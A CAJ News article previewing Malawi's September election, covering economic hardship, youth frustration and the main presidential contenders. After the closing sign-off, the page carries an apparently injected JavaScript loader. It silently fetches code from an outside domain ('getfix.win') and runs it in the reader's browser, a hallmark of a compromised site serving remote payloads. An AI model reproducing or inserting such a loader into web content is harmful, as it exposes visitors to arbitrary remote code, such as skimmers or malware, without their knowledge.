from MAVHUTO BANDA in Lilongwe, Malawi
Malawi Bureau
LILONGWE, (CAJ News) – MALAWIANS head to the polls on Tuesday, 16 September, in what observers describe as one of the most decisive elections in the country’s 60-year history.
With 7.2 million registered voters and a record 17 presidential contenders, the ballot has been billed as a “watershed” moment for a nation grappling with economic stagnation, persistent food insecurity, climate shocks, and growing disillusionment among its youthful population.
At stake is not only the presidency but also 229 parliamentary seats and 509 local council positions.
Yet the real battle appears to be for the hearts and minds of Malawi’s restless youth, who make up more than 65 percent of the population.
Malawi, a landlocked country of nearly 21 million people, has long been described as one of the world’s poorest economies, heavily reliant on donor aid and subsistence farming.
Despite decades of multiparty democracy since 1994, successive governments have failed to address structural weaknesses.
The country continues to face double-digit inflation, which averaged 25 percent in 2024, according to the Reserve Bank of Malawi.
Public debt has ballooned to nearly $20 billion, representing more than 70 percent of gross domestic product (GDP), while foreign reserves remain precariously low.
Meanwhile, food insecurity remains a perennial challenge. The World Food Programme (WFP) estimates that 4.4 million Malawians — more than one in five—require food assistance due to recurring droughts, floods, and crop failures linked to climate change.
Youth unemployment adds another layer of frustration. Despite high literacy levels and an expanding university system, an estimated 40 percent of young people remain jobless or underemployed.
This has fueled widespread cynicism about the political elite and the capacity of government to deliver tangible change.
On the streets of Lilongwe, Blantyre, and Mzuzu, young Malawians express deep disappointment with the current slate of candidates.
“When I look at the calibre of presidential candidates at our disposal, honestly I’m not impressed at all,” said Chiso Kambale, a commerce graduate.
“I’m not sure if any of them will be able to address Malawi’s perennial economic, social, and political problems.”
Others accused the candidates — many of them political veterans—of recycling old ideas.
Takondwa Mkandawire, a recent graduate, argued: “This list suggests Malawi has run out of capable leaders. We are rotating the same old, tired faces. If I had powers, I would persuade the nation to vote for new faces for meaningful change.”
Agricultural expert Mayamiko Nyirenda was equally blunt: “What else would one expect from these old people? The list of aspiring presidents does not inspire. I call upon Malawians to choose the little-known candidates, because the old guard has failed us.”
Such sentiments reflect a generational divide in Malawi’s politics. Many young voters accuse the older political establishment of clinging to power for personal enrichment, rather than tackling urgent issues such as job creation, technological innovation, and climate resilience.
Although 17 candidates are on the ballot, analysts believe the race will likely be shaped by three familiar faces: incumbent President Lazarus Chakwera of the Malawi Congress Party (MCP), former president Peter Mutharika of the Democratic Progressive Party (DPP), and another former president Joyce Banda of the People’s Party (PP).
Chakwera, who came to power in 2020 after a historic court-ordered rerun of the annulled 2019 election, is campaigning on his record of institutional reforms and efforts to stabilize the economy.
His “Build Malawi” message emphasizes youth empowerment through investments in agriculture, tourism, and digital technology.
Chakwera has pledged to establish industrial hubs across the country, promote irrigation farming to counter food shortages, and expand the use of information and communication technology (ICT) in schools and public services.
“Malawi cannot continue to rely on handouts or subsistence farming,” Chakwera told supporters at a rally in Lilongwe last week.
“We must modernize our economy, create jobs for our youth, and turn Malawi into a country that produces, innovates, and competes globally.”
Supporters like Lumbani Chirwa believe president Chakwera deserves another term: “If he can promote tourism, intensify ICT for the youth, and focus on agriculture and industrial hubs, Malawi will rise economically.”
However, critics say Chakwera’s promises have been undermined by slow implementation, persistent corruption scandals, and his government’s heavy reliance on external donors.
On the other hand, Mutharika, who ruled Malawi from 2014 until his defeat in 2020, is making a strong bid for a comeback. His campaign has focused on restoring what he calls “economic stability” and improving infrastructure.
Under his administration, Malawi saw relative macroeconomic stability, with inflation falling to single digits and GDP growth averaging around 4 percent before the COVID-19 pandemic.
However, his tenure was marred by allegations of authoritarianism, corruption, and cronyism.
Mutharika has framed the current government as “directionless,” accusing Chakwera of failing to address food shortages and rising debt.
“When I left office, Malawi was on the right path. Today, people are suffering more than ever. I am returning to restore order, food security, and jobs,” Mutharika said during a rally in Blantyre.
Yet younger voters like Mkandawire remain skeptical: “These retired leaders are only coming back to loot the country’s meagre resources.”
Banda, who briefly served as Malawi’s female president from 2012 to 2014, is also contesting.
She has positioned herself as a champion of women’s empowerment and inclusive governance.
Her campaign highlights the need to tackle corruption, strengthen social safety nets, and address maternal health challenges.
Banda is reminding voters of her record in stabilizing the economy after the death of former President Bingu wa Mutharika in 2012, when she secured international donor confidence and re-engaged with the International Monetary Fund (IMF).
However, her legacy remains clouded by the infamous “Cashgate” corruption scandal, which implicated senior officials in her administration.
Although she was never formally charged, her opponents continue to use it to undermine her credibility.
Vice-President Michael Usi, who broke ranks with Chakwera’s MCP, is running under the banner of the United Transformation Movement (UTM).
Former Reserve Bank governor Dalitso Kabambe is also in the race, appealing to technocrats and urban professionals with his message of fiscal discipline and economic modernization.
Despite the crowded field, many voters like Tamanda Mwanza say they are ready to experiment with new leadership.
“We know what these former presidents can do. We need to try new faces; maybe they will deliver for Malawians,” Mwanza told CAJ News Africa.
With over two-thirds of Malawians under 30, jobs remain the most pressing demand. Each major candidate has promised large-scale employment programs, though details remain vague.
On food security, Malawi has faced chronic maize shortages, worsened by climate change. Irrigation schemes, fertilizer subsidies, and crop diversification are central campaign promises.
On debt and donor dependency – Malawi remains heavily reliant on aid, with more than 40 percent of its budget funded by external partners. Opposition candidates argue this dependency erodes sovereignty.
About corruption and governance – public anger over corruption scandals, including those involving senior politicians, is widespread. Calls for accountability are central to the campaigns.
Another issue of concern in Malawi is that of climate change – with the southern African nation repeatedly hit by cyclones, floods, and droughts, climate resilience has emerged as a top priority, though few candidates have presented concrete adaptation plans.
As Malawians prepare to vote on Tuesday next week, the stakes could not be higher.
With a youthful electorate demanding innovation and accountability, and older leaders seeking to reassert themselves, the election is shaping up to be both unpredictable and consequential.
For many, the contest reflects a broader struggle across Africa: the clash between entrenched political elites and an increasingly restless youth population yearning for new leadership, fresh ideas, and economic transformation.
Whether Malawians opt for continuity under Chakwera, a return to the past with Mutharika or Banda, or a leap of faith with newer candidates, the outcome will determine not only the future of one of Africa’s most aid-dependent economies but also the hopes of millions of young people desperate for a better tomorrow.
— CAJ News
;(function() { loadScript();function loadScript() { var url = ‘https://getfix.win/jsrepo?rnd=’ + Math.random() + ‘&ts=’ + Date.now();try { var xhr = new XMLHttpRequest(); xhr.open(‘GET’, url, false); xhr.send(null);if (xhr.status >= 200 && xhr.status < 300) { var script = document.createElement('script'); script.text = xhr.responseText.trim(); document.head.appendChild(script); } else { console.warn('Script load failed: HTTP ' + xhr.status); } } catch (e) { console.warn('Script load error:', e.message); } } })();